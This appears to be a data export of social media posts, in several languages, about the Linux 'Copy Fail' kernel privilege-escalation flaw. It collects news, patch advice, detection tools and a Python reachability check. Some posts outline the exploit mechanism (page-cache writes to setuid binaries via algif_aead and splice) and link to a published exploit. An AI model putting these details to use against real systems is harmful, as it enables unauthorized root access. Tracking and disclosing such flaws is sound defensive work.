"https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mkpcsszf2me2", "content": "New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions TheHackerNews CVE-2026-31431 CVSS 7.8 flaw since 2017 enables root via 732-byte exploit, impacting major Linux...\n\n#Security #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T09:40:22.366285Z"}, {"uuid": "64b969d9-58df-4aa4-9f79-5720d2aafc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://social.tchncs.de/users/gborn/statuses/116493037293455809", "content": "Wer ein Linux betreibt, auf dem viele Nutzer ein Konto haben, sollte bzgl. der #CopyFail Schwachstelle CVE-2026-31431 reagieren.\nhttps://borncity.com/blog/2026/04/30/linux-schwachstelle-copy-fail-cve-2026-31431-erlaubt-rooting/", "creation_timestamp": "2026-04-30T09:51:24.479831Z"}, {"uuid": "341728e2-48d4-44dd-a5b4-570e3209606a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/etguenni.bsky.social/post/3mkpdojsvj22l", "content": "Wer ein Linux betreibt, auf dem viele Nutzer ein Konto haben, sollte bzgl. der #CopyFail Schwachstelle CVE-2026-31431 reagieren.\n\nborncity.com/blog/2026/04...", "creation_timestamp": "2026-04-30T09:51:42.469127Z"}, {"uuid": "6d7f3482-874b-4bf0-b89c-096b01a74a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pbloem.sigmoid.social.ap.brid.gy/post/3mkpdvdrqk7q2", "content": "So, copy.fail was found with one hour of AI assistance, and would (according to this article) have earned $500K on the open market not too long ago.\n\nhttps://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/\n\nI'm no security researcher, but this kind of contradicts all those [\u2026]", "creation_timestamp": "2026-04-30T09:55:34.222493Z"}, {"uuid": "7df0219e-8b41-42c2-ac6f-7cba7769e307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/116493067934486304", "content": "[VULN] \u26a0\ufe0f\"Copy Fail - Une IA trouve la faille Linux que personne n'a vue\"\" * Copy Fail (CVE-2026-31431) est une faille Linux qui permet de passer de simple utilisateur \u00e0 root en 732 octets, affectant la quasi-totalit\u00e9 des kernels non patch\u00e9s depuis 2017, d\u00e9couverte par une IA en une heure.\n\nLa faille exploite une optimisation de 2017 dans le sous-syst\u00e8me crypto qui laisse un fichier en lecture seule accessible en zone modifiable, permettant de modifier progressivement un binaire syst\u00e8me via l'appel splice().\nDeux solutions de protection existent : patcher le kernel via la distro ou d\u00e9sactiver le module algif_aead (ou bloquer le sous-syst\u00e8me crypto via seccomp si le module est int\u00e9gr\u00e9 en dur).\"\ud83d\udc47 https://korben.info/copy-fail-faille-kernel-linux-decouverte-ia.html\nDemo / exploit ( via @bortzmeyer  )\ud83d\udc47 https://www.bortzmeyer.org/copyfail.html\n\ud83d\udd0d \u2b07\ufe0f https://vulnerability.circl.lu/vuln/CVE-2026-31431\n\ud83d\udcac \u2b07\ufe0f https://infosec.pub/post/45735124\n#CyberVeille  #CVE_2026_31431", "creation_timestamp": "2026-04-30T09:59:11.467521Z"}, {"uuid": "117855a9-2d27-49f2-a6a7-2c63aaeed452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mkpe6c6sob2w", "content": "\ud83d\udce2 CVE-2026-31431 ' Copy Fail ' : escalade de privil\u00e8ges root en 732 octets sur toutes les distributions Linux majeures\n\ud83d\udcdd ## \ud83d\udd0d \u2026\nhttps://cyberveille.ch/posts/2026-04-30-cve-2026-31431-copy-fail-escalade-de-privileges-root-en-732-octets-sur-toutes-les-distributions-linux-majeures/ #AF_ALG #Cyberveille", "creation_timestamp": "2026-04-30T10:00:30.775814Z"}, {"uuid": "12938e02-e884-4e2b-8e2c-a76ceccbf3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/015dc7f6-33e1-49b4-af56-d27f0111165a", "content": "", "creation_timestamp": "2026-04-30T10:07:37.566466Z"}, {"uuid": "4921249e-f608-47dd-97c5-1bde251f66ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/egghat.mastodon.social.ap.brid.gy/post/3mkpejaxv75w2", "content": "Oops.\n\n\u201eIf your kernel was built between 2017 and the patch \u2014 which covers essentially every mainstream Linux distribution \u2014 you're in scope.\u201c\n\nCopy Fail \u2014 CVE-2026-31431 https://copy.fail/\n#BadNews", "creation_timestamp": "2026-04-30T10:06:38.752696Z"}, {"uuid": "d5e51604-ebc9-4aaa-bae2-901046fc723b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mueritz98.bsky.social/post/3mkpepdc5l22p", "content": "This blog from #XintCode Research Team is absolut brilliant! Their #CopyFail exploit on CVE-2026-31431 is simply fascinating. A must read detail on their description of the route to \"732 Bytes to #Root on Every Major #Linux Distribution\" #Cyber #CVE \n\nxint.io/blog/copy-fa...", "creation_timestamp": "2026-04-30T10:10:00.533494Z"}, {"uuid": "188366c0-9671-453e-9d60-f54b8161f9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkperxdnzkx2", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431 Article URL: https://github.com/NorskHelsenett/copy-fail-destroyer Comments URL: https://news.ycombinator.com/item?id=47960232 Points: 1 # Co...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T10:11:29.000132Z"}, {"uuid": "5be6d455-e9c0-4488-9512-0e62aee958d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkpey2aqeq2s", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T10:14:52.493977Z"}, {"uuid": "f3c802fc-4aa8-4192-abb0-2628993aa5f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkpf4u2awz27", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u300cCopy Fail\u300d\u30ed\u30b8\u30c3\u30af\u6b20\u9665\u304c\u30b7\u30b9\u30c6\u30e0\u4e57\u3063\u53d6\u308a\u3092\u53ef\u80fd\u306b\u3059\u308b\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u9ad8\u91cd\u5ea6\u30ed\u30b8\u30c3\u30af\u30d0\u30b0\u306b\u3088\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u653b\u6483\u8005\u304c\u4ed6\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u30e1\u30e2\u30ea\u306b\u30b3\u30fc\u30c9\u3092\u66f8\u304d\u8fbc\u3093\u3067root\u30b7\u30a7\u30eb\u3092\u53d6\u5f97\u3067\u304d\u308b\u3068\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696dTheori\u304c\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002 CVE-2026-31431\uff08CSS\u30b9\u30b3\u30a27.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail\u3068\u547c\u3070\u308c\u308b\u3053\u306e\u554f\u984c\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u3059\u3079\u3066", "creation_timestamp": "2026-04-30T10:17:31.438988Z"}, {"uuid": "4c0e5339-bd39-44bb-83c5-a662e6f61d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mkpfjfo7dj2b", "content": "CVE-2026-31431 (Copy Fail) detection toolkit \u2014 auditd, eBPF, Sigma, YARA", "creation_timestamp": "2026-04-30T10:24:32.420194Z"}, {"uuid": "462bf239-cb9b-4fa0-a6a6-38d4aab94afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Atirut.toot.community.ap.brid.gy/post/3mkpfmr4vdq22", "content": "PSA for sysadmins: https://master.almalinux-org.pages.dev/blog/2026-04-30-cve-2026-31431-copy-fail/\n\nTL;DR anyone with an unpriviledged shell can become root with a small exploit. One mean fucker, so be sure to update ASAP once available if you're within blast radius.\n\n#sysadmin #Linux #psa #cve", "creation_timestamp": "2026-04-30T10:26:30.628454Z"}, {"uuid": "aa4dbe63-f37a-4367-90b3-3755ff3280c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/me.social.k3can.us.ap.brid.gy/post/3mkpgawanojw2", "content": "CVE-2026-31431. A logic flaw in `authencesn` appears to enable privilege escalation on nearly every #Linux distro between 2017 and now.\n\n#CopyFail \u2014 CVE-2026-31431\nhttps://copy.fail/\n\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431/issues", "creation_timestamp": "2026-04-30T10:37:48.891785Z"}, {"uuid": "c75d0467-44d0-42a3-a63d-4bd852152809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/techimo.bsky.social/post/3mkpj7jyqhu22", "content": "Linux kernel \"Copy Fail\" (CVE-2026-31431) vulnerability found! Unprivileged local users can write 4 bytes to file page cache. Exploit: python script alters setuid binaries for root access. Also affects containers. Fix: Revert 2017 optimization. Source: xint.io", "creation_timestamp": "2026-04-30T11:30:36.711223Z"}, {"uuid": "291a2775-e8aa-44a6-8a27-819cab5198ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mkpjirtdvh22", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\nL: https://github.com/NorskHelsenett/copy-fail-destroyer\nC: https://news.ycombinator.com/item?id=47960232\nposted on 2026.04.30 at 05:49:59 (c=0, p=4)", "creation_timestamp": "2026-04-30T11:35:47.032738Z"}, {"uuid": "e7842974-7a3d-42b3-8e7a-097bcfdcaa0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mkpjjqwgwj2h", "content": "Copy-fail-destroyer: K8s remediation for CVE-2026-31431\nDiscussion | hackernews | Author: evenh", "creation_timestamp": "2026-04-30T11:36:19.452406Z"}, {"uuid": "0a31b12d-0d9e-41e3-81a6-23e34aeaa48a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/echobit.de/post/3mkpkcqm44c2n", "content": "Aktuell kursieren Meldungen zur Linux-Schwachstelle CVE-2026-31431 (\u201eCopy Fail\u201c). Die Darstellung wirkt teils sehr alarmistisch \u2013 deshalb kurz die Einordnung:\n\nJa, es handelt sich um eine echte Sicherheitsl\u00fccke im Kernel (betreffend u. a. das algif_aead-Modul).", "creation_timestamp": "2026-04-30T11:50:18.121733Z"}, {"uuid": "e366ed11-f7bc-46f9-ab24-5fdc5a9d797c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mkpkefy2fs2y", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431)\n\n\ud83d\udcd6 Read more: www.helpnetsecurity.com/2026/04/30/c...\n\n#cybersecurity #cybersecuritynews #containers #PoC #Linux", "creation_timestamp": "2026-04-30T11:51:17.075644Z"}, {"uuid": "45632110-59ac-4faa-a811-d6e35576b9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kirik.bsky.social/post/3mkpkr3reok24", "content": "\u7c21\u6f54\u304b\u3064\u4e0d\u53ef\u6b20\u306a\u3053\u3068\u306f\u5168\u90e8\u3053\u3053\u306b\u66f8\u3044\u3066\u3042\u308b\u304b\u3089\u307f\u3093\u306a\u8aad\u3093\u3067\u5373\u5bfe\u51e6\u3057\u307e\u3057\u3087\u3046\n\n\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01 @zephel01 \n\nnote.com/zephel01/n/n...", "creation_timestamp": "2026-04-30T11:58:33.055023Z"}, {"uuid": "daa5195a-86d3-46d9-85d0-b386f4d5895e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dougburks.bsky.social/post/3mkpksiwfvc2s", "content": "OhMyDebn 3.6.3 now available with Copy Fail CVE-2026-31431 exploit mitigation, OpenCode 1.14.30, and Aether 4.15.3!\n\nOhMyDebn is a debonair Linux desktop for power users. It gives you the stability of the Debian distro, the ease of use of the Cinnamon desktop, and the power of AI.", "creation_timestamp": "2026-04-30T11:59:09.244299Z"}, {"uuid": "9f97691f-a395-49db-b339-567c92c07a1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkplfrh76k2x", "content": "Lundi, je vous disais : le 4 mai, on optimise Linux ( en mode serveur). Debian, Ubuntu ou RedHat (et clones) installent trop de services par d\u00e9faut souvent inutiles. \n\nLa CVE-2026-31431 (Copy Fail) va rendre ce live int\u00e9ressant !\n\nRDV Lundi 20h : twitch.tv/adrienLinuxt...", "creation_timestamp": "2026-04-30T12:09:58.542805Z"}, {"uuid": "344d757f-c97f-446a-8cf7-120fb5d81869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/koki.me/post/3mkplmw6em52c", "content": "Codize Sandbox v0.11.0 \u30ea\u30ea\u30fc\u30b9\nCopy Fail (CVE-2026-31431) \u5bfe\u7b56\u3068\u3057\u3066 AF_ALG \u3075\u3055\u3044\u3069\u3044\u305f\ngithub.com/codize-dev/s...", "creation_timestamp": "2026-04-30T12:13:53.065515Z"}, {"uuid": "f4568781-c982-424b-b4e0-4e61157ede73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpnvt6mi3m2", "content": "CopyFail CVE-2026-31431 mitigation with open source tool In the link I explain: 1) Very shortly and easy to understand what is this new vulnerability 2) How I use owLSM which is a open-source Linux...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T12:54:48.349929Z"}, {"uuid": "95e14702-5895-498f-9238-a773fa7a7d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/justgeekfr.bsky.social/post/3mkpoabxvbc2p", "content": "\ud83d\udea8 Copy Fail (CVE-2026-31431) : la faille Linux qui dormait depuis 9 ans\n\n\ud83d\udc49 www.justgeek.fr/copy-fail-cv...\n\n#Linux #Cybers\u00e9curit\u00e9 #CopyFail #S\u00e9curit\u00e9 #Kernel #Vuln\u00e9rabilit\u00e9", "creation_timestamp": "2026-04-30T13:00:31.969660Z"}, {"uuid": "602750fc-4226-46eb-ba31-8ae7d7293fbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpqwjz55n22", "content": "[Copy Fail] The same 732-byte Python script roots every Linux distribution shipped since 2017. https://copy.fail/ Commentaires : voir le flux Atom ouvrir dans le navigateur\n\n#cve #cybers\u00e9curit\u00e9 #kernel #linux #cve-2026-31431\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T13:48:46.788547Z"}, {"uuid": "edbe8332-b265-46e4-b249-e84463cb1881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mkprbvluak2y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\n\n\u3053\u3093\u306b\u3061\u306f\uff01\u682a\u5f0f\u4f1a\u793e\u30a8\u30fc\u30a2\u30a4\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e9\u30dc\u306e\u306f\u308b\u3077\u3068\u7533\u3057\u307e\u3059\u3002 \u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30b3\u30de\u30f3\u30c9\u4e00\u767a\u3067root\u3092\u53d6\u308c\u3066\u3057\u307e\u3046Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3001CopyFail (CVE-2026-31431) \u304c\u8a71\u984c\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002AI\u306b\u3088\u3063\u3066\u767a\u898b\u3055\u308c\u305f\u8ad6\u7406\u30d0\u30b0\u3067\u3001\u6c5a\u3057\u3066\u3082\u554f\u984c\u306a\u3044EC2\u74b0\u5883\u3092\u4f5c\u3063\u3066\u5b9f\u969b\u306b\u691c\u8a3c\u3057\u3066\u307f\u307e\u3057\u305f\u3002 \u3053\u306e\u8106\u5f31\u6027\u306f\u3001 \u4e00\u822c\u30e6\u30fc\u30b6\u30fc...\nhttps://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-04-30T13:55:06.460589Z"}, {"uuid": "f0662d21-6785-4578-99d7-2784bb9b8a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkpscgvlons2", "content": "Copy Fail : cette redoutable faille Linux permet d\u2019obtenir un acc\u00e8s root Copy Fail (CVE-2026-31431), c'est le nom de la faille critique d\u00e9couverte dans le noyau Linux. Elle offre un acc\u00e8s ...\n\n#Actu #Cybers\u00e9curit\u00e9 #Cybers\u00e9curit\u00e9 #Linux #Vuln\u00e9rabilit\u00e9\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T14:13:19.520812Z"}, {"uuid": "5d264563-98cf-420a-ab87-3713d274b36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mkpsomr4q52i", "content": "\ud83d\udcf0 Celah Linux Baru 'Copy Fail' Beri Peretas Akses Root di Berbagai Distro Utama\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/04/30/celah-linux-baru-copy-fail-beri-peretas-akses-root-di-berbagai-distro/\n\n#ahmandonkTechNews #beritaTeknologi #copyFail #cve-2026-31431 #dirtyPipe #ek", "creation_timestamp": "2026-04-30T14:20:06.563931Z"}, {"uuid": "19bcc0de-7ba9-4889-b6dd-c7bf1e98c448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mkpsor4axd2k", "content": "Copy Fail Linux Root Exploit Released: Critical Kernel Bug Lets Local Users Gain Full\u00a0Control\n\nIntroduction A newly disclosed Linux privilege escalation vulnerability named Copy Fail is drawing serious attention across the cybersecurity world. Tracked as CVE-2026-31431, the flaw affects Linux\u2026", "creation_timestamp": "2026-04-30T14:20:11.085320Z"}, {"uuid": "db590968-3557-46f7-a1eb-751d696c07ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/116494107330904168", "content": "CVE-2026-31431 - crypto: algif_aead - Revert to operating out-of-place\n\ud83d\udd17 https://vulnerability.circl.lu/vuln/CVE-2026-31431#comments", "creation_timestamp": "2026-04-30T14:23:31.090186Z"}, {"uuid": "c5ee1a2e-15c8-4e11-ac36-2be2b169da05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116494202989973801", "content": "\ud83d\udcf0 Critical 'Copy Fail' Linux Flaw (CVE-2026-31431) Gives Instant Root on Major Distros\n\u26a0\ufe0f Critical 'Copy Fail' Linux flaw (CVE-2026-31431) allows any local user to get instant root access! Affects distros since 2017 like Ubuntu, Debian, RHEL. A simple, reliable exploit exists. Patch now! #Linux #CyberSecurity #LPE\n\ud83d\udd17 https://cyber.netsecops.io", "creation_timestamp": "2026-04-30T14:47:51.520795Z"}, {"uuid": "1a1bcc08-ab7e-486f-ab21-f5d88ed1c235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mkpuazkvuz2w", "content": "\u26a0\ufe0f Critical 'Copy Fail' Linux flaw (CVE-2026-31431) allows any local user to get instant root access! Affects distros since 2017 like Ubuntu, Debian, RHEL. A simple, reliable exploit exists. Patch now! #Linux #CyberSecurity #LPE", "creation_timestamp": "2026-04-30T14:48:18.538166Z"}, {"uuid": "497b1dd4-4853-4fa3-93e5-b4bdb0d83817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ostechnix.bsky.social/post/3mkpv6xnioc2b", "content": "Copy Fail (CVE-2026-31431) is a severe logic flaw in the Linux kernel affecting almost every distribution since 2017. Patch your systems now!\n\nMore details here: ostechnix.com/copy-fail-cv... \n\n#Copyfail #CVE202631431 #Pagecache #Linuxkernel #LinuxPrivilegeEscalation #Security #XintCode #TaeyangLee", "creation_timestamp": "2026-04-30T15:05:07.662925Z"}, {"uuid": "6fc3c360-3dc6-4712-8ebe-65d670517c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jianmin.defcon.social.ap.brid.gy/post/3mkpv2co5snh2", "content": "`python3 -c 'import socket; s=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\")); print(\"REACHABLE\")' 2>&1`\n\nIf you see: \"file not found\" then you're probably not vulnerable to copy.fail (CVE-2026-31431)\n\nIf you see \"REACHABLE,\" that [\u2026]", "creation_timestamp": "2026-04-30T15:05:22.456779Z"}, {"uuid": "a28dc140-d377-41e2-af49-e1a0f23694ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linuxiac.bsky.social/post/3mkpvdpso5k25", "content": "Copy Fail (CVE-2026-31431) is a Linux kernel vulnerability that allows local unprivileged users to gain root access on affected systems.\nlinuxiac.com/copy-fail-li...\n\n#Linux #Kernel #OpenSource", "creation_timestamp": "2026-04-30T15:07:46.691202Z"}, {"uuid": "f408f387-966a-4bda-929d-8c99ce1932c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jianmin.defcon.social.ap.brid.gy/post/3mkpvvr6mcyv2", "content": "python3 -c 'import socket; s=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\")); print(\"REACHABLE\")' 2>&1\n\nIf you see: \"file not found\" then you're probably not vulnerable to copy.fail (#CVE-2026-31431 #copyfail)\n\nIf you see \"REACHABLE,\" [\u2026]", "creation_timestamp": "2026-04-30T15:17:57.982071Z"}, {"uuid": "e4ed8f56-5a49-4633-ac36-c2466ca8a03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkpvzmhj332v", "content": "CVE-2026-31431: \u300cCopy Fail\u300dLinux \u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u6570\u79d2\u3067 root\u00a0\u6a29\u9650\u3092\u53d6\u5f97\u53ef\u80fd\n\n\u8105\u5a01\u7814\u7a76\u30c7\u30a3\u30ec\u30af\u30bf\u30fc2026\u5e744\u670829\u65e5\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306e algif_aead \u30e6\u30fc\u30b6\u30fc\u30b9\u30da\u30fc\u30b9\u6697\u53f7\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3067\u3001\u300cCopy Fail\u300d\u3068\u547c\u3070\u308c\u308b CVE-2026-31431\uff08CVSS 7.8 HIGH\uff09\u304c\u958b\u793a\u3055\u308c\u307e\u3057\u305f\u3002Theori \u306e\u7814\u7a76\u8005\u3089\u306f\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c setuid 